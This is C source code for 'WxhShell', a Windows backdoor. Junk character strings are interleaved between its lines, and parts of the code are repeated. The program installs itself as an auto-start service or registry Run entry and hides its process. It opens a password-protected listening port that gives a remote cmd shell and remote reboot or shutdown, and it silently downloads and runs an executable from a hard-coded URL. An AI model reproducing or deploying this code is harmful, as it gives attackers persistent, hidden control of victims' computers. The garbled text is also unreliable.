aq!^!z $u]jy0X<Y; static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C~2F9Pg static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; haK3?A,"_A gG<~-8uQ HANDLE hProcess; M2OIBH4! PROCESS_BASIC_INFORMATION pbi; !dyXJQ <>y;.@}Q HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); itBwCIj G if(NULL == hInst ) return 0; -GhP9; d (^TF%(H g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5:Z0Pt g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;z}i-cNae NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B+\3-q
D~S<U if (!NtQueryInformationProcess) return 0; ^o3"#r{:+ YIoQL}pX hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GpY"fc% if(!hProcess) return 0; w$zu~/qV2 6#7Lm) g8 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m$}R% KL1/^1 CloseHandle(hProcess); \^L`7cBL 8 OY 3A hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); EofymAi% if(hProcess==NULL) return 0; nAW:utTB )h"<\%LU HMODULE hMod; 8!O5quEc char procName[255]; x$5) ^ud? unsigned long cbNeeded; ~zCEpU|@N iU$] {c2;A if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {.?ZHy\Rk *H"B _3<n CloseHandle(hProcess); -]/I73!b #lmB
AL~3 if(strstr(procName,"services")) return 1; // 以服务启动 >`Y.+4mE ^Cu\VV return 0; // 注册表启动 Aw$x;3y } IUE~_7 j9eTCJqB // 主模块 -+(jq>t int StartWxhshell(LPSTR lpCmdLine) K28+]qy[ { ALrw\qV SOCKET wsl; }\tdcTMgS BOOL val=TRUE; +T|JK7 int port=0; [ey:e6,T9 struct sockaddr_in door; |'P]GK `Nz/Oh7 if(wscfg.ws_autoins) Install(); 4r>6G/b8* 8ja$g, port=atoi(lpCmdLine); RQ vft i6dHrx]:, if(port<=0) port=wscfg.ws_port; "+kL)] fkuLj%R WSADATA data; ii[F]sR\ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qkt0**\ =
s>T;| if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Vq2y4D? setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HG^B#yX door.sin_family = AF_INET; .{ocV#{s door.sin_addr.s_addr = inet_addr("127.0.0.1"); jF ^~p9z door.sin_port = htons(port); msP{l^%0 rID#`:Hl-| if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EN$2,qf closesocket(wsl); K-bD<X return 1; *W.C7= } <;vbsksZeH f,h J~ if(listen(wsl,2) == INVALID_SOCKET) { h].<t& closesocket(wsl); "$#xK |t return 1; ;YA(|h< } |SoCRjuCPM Wxhshell(wsl); }YB*]<] WSACleanup(); :o|\"3 \w/yF4,3<w return 0; `IP/d +ln9c } ^V ?<K.F ^8 z R // 以NT服务方式启动 rf
$ QxJ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o)Iff)m$ { $;1#To DWORD status = 0; 3,p]/Z_ DWORD specificError = 0xfffffff; +MR.>" 8$")%_1] serviceStatus.dwServiceType = SERVICE_WIN32; 9!6f-K serviceStatus.dwCurrentState = SERVICE_START_PENDING; j/R[<47 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ja,wfRq serviceStatus.dwWin32ExitCode = 0; s3~lT. serviceStatus.dwServiceSpecificExitCode = 0; &M46&^Jho serviceStatus.dwCheckPoint = 0; kStnb?nk serviceStatus.dwWaitHint = 0; 5Sm}nH a][f hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G9Y#kBr if (hServiceStatusHandle==0) return; .X@FXx& 6g 5#TpCh status = GetLastError(); ^A!Qc=#z} if (status!=NO_ERROR) 4]yOF_8h { _"E%xM*r serviceStatus.dwCurrentState = SERVICE_STOPPED; -&NN51-d\j serviceStatus.dwCheckPoint = 0; 9KDEM gCW serviceStatus.dwWaitHint = 0; Lx\8Z= serviceStatus.dwWin32ExitCode = status;
i*|\KM?P serviceStatus.dwServiceSpecificExitCode = specificError; Z'4./ SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wi*.TWz3 return; Gr7=:+0n|P } e5* ni/P S]bmS6# serviceStatus.dwCurrentState = SERVICE_RUNNING; -K
q5i serviceStatus.dwCheckPoint = 0; \#f<!R4 serviceStatus.dwWaitHint = 0; UYk/v]ZA if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); KV]X@7`@ } &,}j#3< JW{rA6? // 处理NT服务事件,比如:启动、停止 /RNIIY~w VOID WINAPI NTServiceHandler(DWORD fdwControl) kW*f.! { tQ8.f switch(fdwControl) 695V3R 7 { ]"t@-PFX< case SERVICE_CONTROL_STOP: x}_]A$nV serviceStatus.dwWin32ExitCode = 0; Zo|.1pN serviceStatus.dwCurrentState = SERVICE_STOPPED; !ipR$ dM serviceStatus.dwCheckPoint = 0; \?Z{hmN serviceStatus.dwWaitHint = 0; Q3
u8bx|E { w\(.3W7 SetServiceStatus(hServiceStatusHandle, &serviceStatus); NL!u<6y } ABQa 3{v return; OjFLPGRCh case SERVICE_CONTROL_PAUSE: =8t]\Y? serviceStatus.dwCurrentState = SERVICE_PAUSED; >hPQRd break; SO IHePmwK case SERVICE_CONTROL_CONTINUE: 1M}5>V{ serviceStatus.dwCurrentState = SERVICE_RUNNING; /.3}aj;6 break; RZHd9v$ case SERVICE_CONTROL_INTERROGATE: 2[Z,J%:0 break; N!ls j
\- }; P#RR9>Q SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^Y@\1fX 4e } SLkhCR VRI0W` // 标准应用程序主函数 Jbjmv:db int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j<Bkj/ { )we}6sE" .} q&5v // 获取操作系统版本 6HZ` .o:f OsIsNt=GetOsVer(); *G{^|z GetModuleFileName(NULL,ExeFile,MAX_PATH); ePr&!Tz# GO__$%~ // 从命令行安装 55tKTpV if(strpbrk(lpCmdLine,"iI")) Install(); { vKLAxc n&"B0y cF // 下载执行文件 P,xKZ{( if(wscfg.ws_downexe) { +_; l|uhT; if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8.XoVW# WinExec(wscfg.ws_filenam,SW_HIDE); X.Rb-@ } /JHc! D J&M
o%"[) if(!OsIsNt) { e8pG"`wM8 // 如果时win9x,隐藏进程并且设置为注册表启动 F ~^Jmp7Y HideProc(); `V`lo,"\ StartWxhshell(lpCmdLine); ht2\ y&si } AfX}y+Ah else ,u+PyG7 cb if(StartFromService()) Bk*F_>X" // 以服务方式启动 3on7~*
StartServiceCtrlDispatcher(DispatchTable); f|B=_p80 else JBXrFC; // 普通方式启动 LS7, a| StartWxhshell(lpCmdLine); n\xX}, y0#u9t"Z; return 0; =T(6#" } N>XS=2tzN $})g?Q P!H_1RwXKC *1v[kWa? =========================================== q=%RDG+ ^lA=* jY( [P&7i57 mS^tX i5hg 9fhsIe
;\]b T;# "
f4Xk,1Is ;D:9+E<>a #include <stdio.h> @)|C/oA #include <string.h> EB2w0a5 #include <windows.h> |G?htZF #include <winsock2.h> Y8m1M-#w #include <winsvc.h> TygW0b 1 #include <urlmon.h> K('hC)1 7JEbH?lEN #pragma comment (lib, "Ws2_32.lib") E^vJ@O #pragma comment (lib, "urlmon.lib") \#Pfj&* )XvilCk1 #define MAX_USER 100 // 最大客户端连接数 _a6[{_Pc #define BUF_SOCK 200 // sock buffer X~lVVBO #define KEY_BUFF 255 // 输入 buffer w8MG(Lq1" @JD;k> #define REBOOT 0 // 重启 QR%mj*@Wle #define SHUTDOWN 1 // 关机 2w["aVr
= $wo?!gt #define DEF_PORT 5000 // 监听端口 }T&iewk NYrQ$N" #define REG_LEN 16 // 注册表键长度 v6>_ j
L #define SVC_LEN 80 // NT服务名长度 k@/sn(x ;1%-8f:lW // 从dll定义API W3MU1gl6k{ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wE? 'Cl typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KwPOO{4]g typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B" !l2 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l)Crc-:}4j ^; )8VP6 // wxhshell配置信息 @\f^0^G struct WSCFG { S/9DtXQ int ws_port; // 监听端口 ,n3a
gkPO> char ws_passstr[REG_LEN]; // 口令 \l9qt5rS int ws_autoins; // 安装标记, 1=yes 0=no Dey<OE& char ws_regname[REG_LEN]; // 注册表键名 G+X
Sfr char ws_svcname[REG_LEN]; // 服务名 xlA$:M& char ws_svcdisp[SVC_LEN]; // 服务显示名 vUohtS* char ws_svcdesc[SVC_LEN]; // 服务描述信息 2QJ{a46} char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dwDcR,z?a int ws_downexe; // 下载执行标记, 1=yes 0=no u*Pibgd< char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J|~MC7#@q char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _V7r1fY: umt.Um.m2 }; YVHm{A1b0 j$?{\iXZ // default Wxhshell configuration AlAY iUw{ struct WSCFG wscfg={DEF_PORT, 9}PhN<Gd "xuhuanlingzhe", i*/Yz*< 1, D/vOs[X
o, "Wxhshell", NT e5 "Wxhshell", 5N/%v&1 "WxhShell Service", D ,o}el "Wrsky Windows CmdShell Service", 5hQE4/hH "Please Input Your Password: ", TFkZp e; 1, A
Q'J9 "http://www.wrsky.com/wxhshell.exe", (9Ux{@$o[ "Wxhshell.exe" _j< K=){ }; G
8g<>d{j l'/R&`-n // 消息定义模块 ;/r1}tl+3> char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j4|N-: char *msg_ws_prompt="\n\r? for help\n\r#>"; Kx;eaz:gx char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; eHn7iuS8 char *msg_ws_ext="\n\rExit."; <vONmE a char *msg_ws_end="\n\rQuit."; __|+w<] char *msg_ws_boot="\n\rReboot..."; .QZaGw=,z char *msg_ws_poff="\n\rShutdown..."; _qw?@478 char *msg_ws_down="\n\rSave to "; #xX5,r0 B0dQ@Hq* char *msg_ws_err="\n\rErr!"; a&c6.#E{y char *msg_ws_ok="\n\rOK!"; +l9!Fl{MK\ \s=t|Wpu2 char ExeFile[MAX_PATH]; C71qPb|$R int nUser = 0; E4|jOz^j4\ HANDLE handles[MAX_USER]; w5A y)lz int OsIsNt; BD_Iz A<wK NQ(1 SERVICE_STATUS serviceStatus; GP?M!C,/}k SERVICE_STATUS_HANDLE hServiceStatusHandle; DU5c=rxW [AYOYENp- // 函数声明 k1{K*O$e int Install(void); wt!nMQ int Uninstall(void); /s@o Z{h int DownloadFile(char *sURL, SOCKET wsh); VyzS^AHK int Boot(int flag); e4H A7=z void HideProc(void); ew#B[[ int GetOsVer(void); xv(9IEjt0 int Wxhshell(SOCKET wsl); Y2n!>[[. void TalkWithClient(void *cs); BK)$'AqO int CmdShell(SOCKET sock); g;qx">xJ`o int StartFromService(void); DW5Y@;[
int StartWxhshell(LPSTR lpCmdLine); [|(N_[E|6 YKH\rN6X VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); QdL`| VOID WINAPI NTServiceHandler( DWORD fdwControl ); o0ifp=V
y ADDSCY=, // 数据结构和表定义 ++6`sMJ SERVICE_TABLE_ENTRY DispatchTable[] = pEBM3r!X { \;qW 3~ {wscfg.ws_svcname, NTServiceMain}, gy#/D& N[ {NULL, NULL} xJ>fm%{5 }; OBOtu u. p"n$!ilbm // 自我安装 fGUE<l int Install(void) >O*IQ[r- { CE#gfP char svExeFile[MAX_PATH]; F`gi_;c HKEY key; *=]&&< strcpy(svExeFile,ExeFile); ^(vs.U^U< i~I%D%; // 如果是win9x系统,修改注册表设为自启动 2NC.Z; if(!OsIsNt) { bCo7*<I4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fZ0M%f RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =G7m)! RegCloseKey(key); cq}EZ@ . if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _FH`pv RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B8f8w)m RegCloseKey(key); `|{-+m return 0; oW ::hB } s5CXwM6cx } C-Q28lD}f } sH{4Y-J else { 1_9<3,7 j(m.$: // 如果是NT以上系统,安装为系统服务 9^oKtkoDZ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yXSFjcoB if (schSCManager!=0) =/s>Q l { s/$?^qtyC SC_HANDLE schService = CreateService qh9Z50E9 ( 8K:y\1 schSCManager, |TS>hwkI wscfg.ws_svcname, '[AlhBX wscfg.ws_svcdisp, ~;l@|7wGz SERVICE_ALL_ACCESS, ED=V8';D SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XGYbnZ~
SERVICE_AUTO_START, h2Ld[xvCu% SERVICE_ERROR_NORMAL, )J2mM svExeFile,
gbF+WE NULL, 3EJj9}#x"' NULL, G<}()+L NULL, ?zh9d%R NULL, A\4D79>x NULL -ws? "_w ); \k .{-nh if (schService!=0) B<5R { X{5vXT\/y CloseServiceHandle(schService); S\:P-&dC CloseServiceHandle(schSCManager); ZP@
$Q%up strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >0/i[k-dk strcat(svExeFile,wscfg.ws_svcname); q!.byrod if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )
i;1*jK RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~IYUuWF( RegCloseKey(key); - Ajo9H return 0; ] eotc2?u } r)y=lAyF> } bo2H]PL* CloseServiceHandle(schSCManager); = bfJ^]R } 7%5z p|3 } @$ne{2J3 $ `ov4W return 1; zd2)M@ } I(i}c~R aOlT;h // 自我卸载 n&$j0k int Uninstall(void) 6HT;#Znn { .YhA@8nc~l HKEY key; CDsSrKhx J l(&!?j if(!OsIsNt) { LInz<bc<( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <c2E'U)X RegDeleteValue(key,wscfg.ws_regname); MI/MhkS
? RegCloseKey(key); 94h]~GqNi if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &v56#lG RegDeleteValue(key,wscfg.ws_regname); [4YTDEv% RegCloseKey(key); >"^ O"E return 0; Nv#t:J9f } ;Y00TGU } 2^r<{0@n } 6</xL9#/ else { zBCtd1Xrni A
9( x SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3x`| if (schSCManager!=0) "un]Gc { ,k24w7K%d SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V3&RJ k=b if (schService!=0) ]] !VK { ). <-X^@ if(DeleteService(schService)!=0) { qraSRK5 CloseServiceHandle(schService); gH$ Mr CloseServiceHandle(schSCManager); _GV:HOBi return 0; 6V$Avg\6\ } N(;1o.~ CloseServiceHandle(schService); ,vr? 2k } HJ9Kz^TnC CloseServiceHandle(schSCManager); t_o['F } m4**~xfC } bp*
^z,w \d6C%S! return 1; IbT=8l,Li } o)h_H; QX!-B // 从指定url下载文件 m,VOx7%n int DownloadFile(char *sURL, SOCKET wsh) =i$Fl{vH { X$HIVxyq2 HRESULT hr; MX$0Op char seps[]= "/"; !=pn77`g> char *token; $|L
Sx char *file; ynq}76 H0k char myURL[MAX_PATH]; N@2dA*T, char myFILE[MAX_PATH]; \z>fb%YW `nUXDmdwzO strcpy(myURL,sURL); ),0g~'I~D
token=strtok(myURL,seps); d?ex,f. while(token!=NULL) gR&Q3jlIV { SzAJ2:qhl file=token; ! +a. Ei token=strtok(NULL,seps); y=fx%~<>
8 } G/k2Pe{SL vleS2-]| GetCurrentDirectory(MAX_PATH,myFILE); XeW<B0~ strcat(myFILE, "\\"); 2a-w%
(K strcat(myFILE, file); )Lk639r send(wsh,myFILE,strlen(myFILE),0); QiQ_bB!\ send(wsh,"...",3,0); B\=L3eL<D hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n&L+wqJ if(hr==S_OK) 4;w;'3zq return 0; sQ=]NF)\ else hB"fhX return 1; {Bk[rCl P60~V"/P } >W%EmnLK A}BVep@D // 系统电源模块 +O"!qAiK int Boot(int flag) u7Y
WnD { .~)q};Z HANDLE hToken; O[\iE5+$ TOKEN_PRIVILEGES tkp; |WQBDB`W $ZUdT if(OsIsNt) { 18|m)(W OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '<jyw LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,KF'TsFf tkp.PrivilegeCount = 1; #pT"BSz] tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Vrjc~>X AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *U^6u/iH if(flag==REBOOT) { viW!,QQ(S if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ({
8-* return 0; Ar%%}Gx/ } .?D7dyU l1 else { `n.5f[wC if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %oF}HF. return 0; Ye\rB\- } S{Kiy#ltWc } 61Bwb]\f/| else { &c` nR< if(flag==REBOOT) { &SIq2>Q A if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dV*]f$wQ return 0; +dWDxguE{w } |!1Y*|Q%s else { (jnzT=y if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
[/PR\'| return 0; F<ZYh } =qoWCmg"& } ls?~+\Jb 3oBtP<yG. return 1; $'0u |Xy` } :I"2V I.WvLLK2 // win9x进程隐藏模块 XQrF4l void HideProc(void) vV'EZ? { ob+b<HFv aB*Bz]5;E HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5<iV2Hx if ( hKernel != NULL ) ^7>3a/ { [8.c8-lZ^ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fsmN)_T ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); XpIklL7 FreeLibrary(hKernel); wc0jhHZO
? } IrR7"`.i V8e>l[tH return; @y e4q.m } G[B=>Cy V("{)0~O // 获取操作系统版本 d)B@x` int GetOsVer(void) @*F"Q1 wI { Vmc5IPd{\ OSVERSIONINFO winfo; ~9?cn winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Av @b!iw+ GetVersionEx(&winfo); Y_Eb'*PY if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &qLf@1AD return 1; v:EB*3n5 else :Gv1?M return 0; ~fBtQGdX } WKQ^NEqr3 LnFdhrB@x // 客户端句柄模块 214Ml0/% int Wxhshell(SOCKET wsl)
,ZKr.`B { D_?K"E=fw SOCKET wsh; JBD7h5|Lc struct sockaddr_in client; ,f kcp]} DWORD myID; zUDg&-J3 !*/*8re while(nUser<MAX_USER) @M<|:Z %.@ { yTyj'-4 int nSize=sizeof(client); x9NEFtqjm wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ".f ;+wH if(wsh==INVALID_SOCKET) return 1; [N FFB96 yxonRV$& handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); LO'**}vm if(handles[nUser]==0) t^VwR=i closesocket(wsh); Bm.afsM; else 6T>mW#E& nUser++; Y4%:7mw~= } H12Fw'2 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h-g+g#* 2^XGGB0 return 0; 2;xIL] } -1Jg?cPzk +O'3|M // 关闭 socket d[[]PX void CloseIt(SOCKET wsh) cD@(/$wt { )W|w C# closesocket(wsh); 6.FY0. i nUser--; MU>k,:[ ExitThread(0); "-y-iJ } /TE_W@?^ UT>s5C // 客户端请求句柄 M\C"5%2Mu void TalkWithClient(void *cs) H!vax)%-\ { xE1 eT, liEPCWl& SOCKET wsh=(SOCKET)cs; O[# 27_dH char pwd[SVC_LEN]; d[r#-h>dS char cmd[KEY_BUFF]; 3E7ULK char chr[1]; D@C-5rmq int i,j; X"MB|Ny so^lb?g while (nUser < MAX_USER) { >82@Q^O WJ)z6m] if(wscfg.ws_passstr) { -\+s#kE: if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~L]|?d" //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UsgK //ZeroMemory(pwd,KEY_BUFF); ()`7L|(`;q i=0; 7}1~%:6 while(i<SVC_LEN) { ;sfb 4x4 Rn#KfI:{ // 设置超时 7ByTnYe~S fd_set FdRead; (
Wa struct timeval TimeOut; 3WN`y8l FD_ZERO(&FdRead); "rTQG6` FD_SET(wsh,&FdRead); F8hw#!Aq TimeOut.tv_sec=8; XttqOf TimeOut.tv_usec=0; KuWWUjCE int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h
a|C&G if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !GOM5z, EJ@?h(O if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
h1:aKm! pwd=chr[0]; KN$}tCU if(chr[0]==0xd || chr[0]==0xa) { >oea{u pwd=0; )S`jFQ1 break; ktI/3Mb@ } ^L0d/,ik i++; )iq-yjO6 } j0Bu-sO$w W8Q|$ZJ88F // 如果是非法用户,关闭 socket og4UhP^UET if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?MXejEC } .id)VF-l NxSu3e~PS send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @|LBn6q send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *Kyw^DI f5F@^QXQ while(1) { I[b}4M6E >tTj[cMJl ZeroMemory(cmd,KEY_BUFF); rJFc({ 0
qNI,
62 // 自动支持客户端 telnet标准 )q0. 0<f j=0; dlU'2Cl7d while(j<KEY_BUFF) { lW<PoT if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -DxL 0:E cmd[j]=chr[0]; u7bLZU 0 if(chr[0]==0xa || chr[0]==0xd) { .7zK@6i cmd[j]=0; |M8WyW break; A"`foI$0 } Y^36>1.: j++; K6y :mJYp\ } s?zAP O8Sz np%\&CVhN // 下载文件 y+!+ D[x if(strstr(cmd,"http://")) { JB ZUv send(wsh,msg_ws_down,strlen(msg_ws_down),0); *o-.6OxZ$ if(DownloadFile(cmd,wsh)) gWrgnlq send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;`l'2
z@N else 6Ztq send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .udv"?!z } GQ*wc?f3 else { u4.ngjJ ,B08i
o- switch(cmd[0]) { SaC d0. h _tSAI // 帮助 76>7=#m0u' case '?': { [v$0[IuY, send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G+F#n6Vx break; KQ`qpX^d } y'(Ne=y // 安装 M(RZ/x case 'i': { DjI3?NN if(Install()) T(AVlI6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); S5KEXnjm else iS&l8@2a send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )>b.; break; ?s\
OUr } OS4q5;1# // 卸载 #
S}Z8 case 'r': { 7a#4tqM# if(Uninstall()) )foq),2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); hdnTXs@z else i O/K nH send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4Y,R-+f break; {n/uh0>f* } ;l&4V // 显示 wxhshell 所在路径 XQ%? case 'p': { so)"4
SEu char svExeFile[MAX_PATH]; 61/.K_%I. strcpy(svExeFile,"\n\r"); 5K^69mx strcat(svExeFile,ExeFile); uum;q-" send(wsh,svExeFile,strlen(svExeFile),0); F.-R r break; .fN"@l } &j?#3Qt'_ // 重启 @Ukr case 'b': { <c)+Fno[E_ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :@1eph0 if(Boot(REBOOT)) -od!J\KCy send(wsh,msg_ws_err,strlen(msg_ws_err),0); N B\{' else { !:|TdYrmj closesocket(wsh); lZyG)0t,g ExitThread(0); E Q4KV } Ct2j ZqCDo break; #O$ } UbEb&9} // 关机 CPVjmRUF| case 'd': { t<T[h2Wd send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (
{1e% if(Boot(SHUTDOWN)) &FH2fMLQ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9R;/*$ else { 2-=\~<) closesocket(wsh); e{X6i^%
m_ ExitThread(0); Dfps
gY)/? } u5 {JQO break; 89n:)|rWq } 6(]tYcC
// 获取shell h Ggx case 's': { 0dA7pY9 CmdShell(wsh); d0aC Y closesocket(wsh); : p{+G ExitThread(0); N=5)fe%{4 break; hty0Rb[dH } XYS'.6k( // 退出 QCH}-q) case 'x': { `(1K
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :C}2= CloseIt(wsh); ,*&G1|_6 break; R+nMy=I%8 }
)LJnLo+ // 离开 "t({D case 'q': { 5DXR8mLoaJ send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~7$&WzD closesocket(wsh); vKq^D(&cl WSACleanup(); |o2sbLp exit(1); !).}u,*'no break; (RUT{)p[ } +2K :qvzZ } i^_#%L } UPc<gB 6`0mta Q // 提示信息 j4>a( if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e$u4vC~ } c&X{dJWD } sp7*_&'J %&->%U|' return; ybeKiv9 } Yly@ww9t| ,h{A^[yl // shell模块句柄 B!dU>0&Ct int CmdShell(SOCKET sock) kloR#?8A { R*oXmuOsYA STARTUPINFO si; V7Z4T6j4 ZeroMemory(&si,sizeof(si)); o]ag"Q si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uGwJK`!~ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [6)UhS8 PROCESS_INFORMATION ProcessInfo; b{d4xU8' char cmdline[]="cmd"; n:0}utU4 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bn(`O1r[( return 0; JXixYwm } 2+cNo9f ik"sq}u_]E // 自身启动模式 `C_jP|[e int StartFromService(void) BnCKSg7V { ed!:/+3e/ typedef struct ?E9D Xg { &O)&k DWORD ExitStatus; anj#@U;! DWORD PebBaseAddress; +vNZW@_$D DWORD AffinityMask; ari7 iF~j DWORD BasePriority; Ja]?&j ULONG UniqueProcessId; Z1ALq5 ULONG InheritedFromUniqueProcessId; ;Og&FFs' } PROCESS_BASIC_INFORMATION; 0x11
vr! '=E3[0W PROCNTQSIP NtQueryInformationProcess; qC_mu)6 8 F2| static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xy8#2 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o7TN,([W RQkyCAGx HANDLE hProcess; $55U+)C< PROCESS_BASIC_INFORMATION pbi; X; 5Jb jSOS}!= HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); IcrL if(NULL == hInst ) return 0; D?~8za`5 `:wvh( g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f`8OM}un& g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q\Gq|e* NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9Ew7A(BG_3 [xfaj'j=@ if (!NtQueryInformationProcess) return 0; ewuXpv%vwW ="%W2 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `gpQW~*R-; if(!hProcess) return 0; ExSO|g]% Q \]Xm> if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -/x
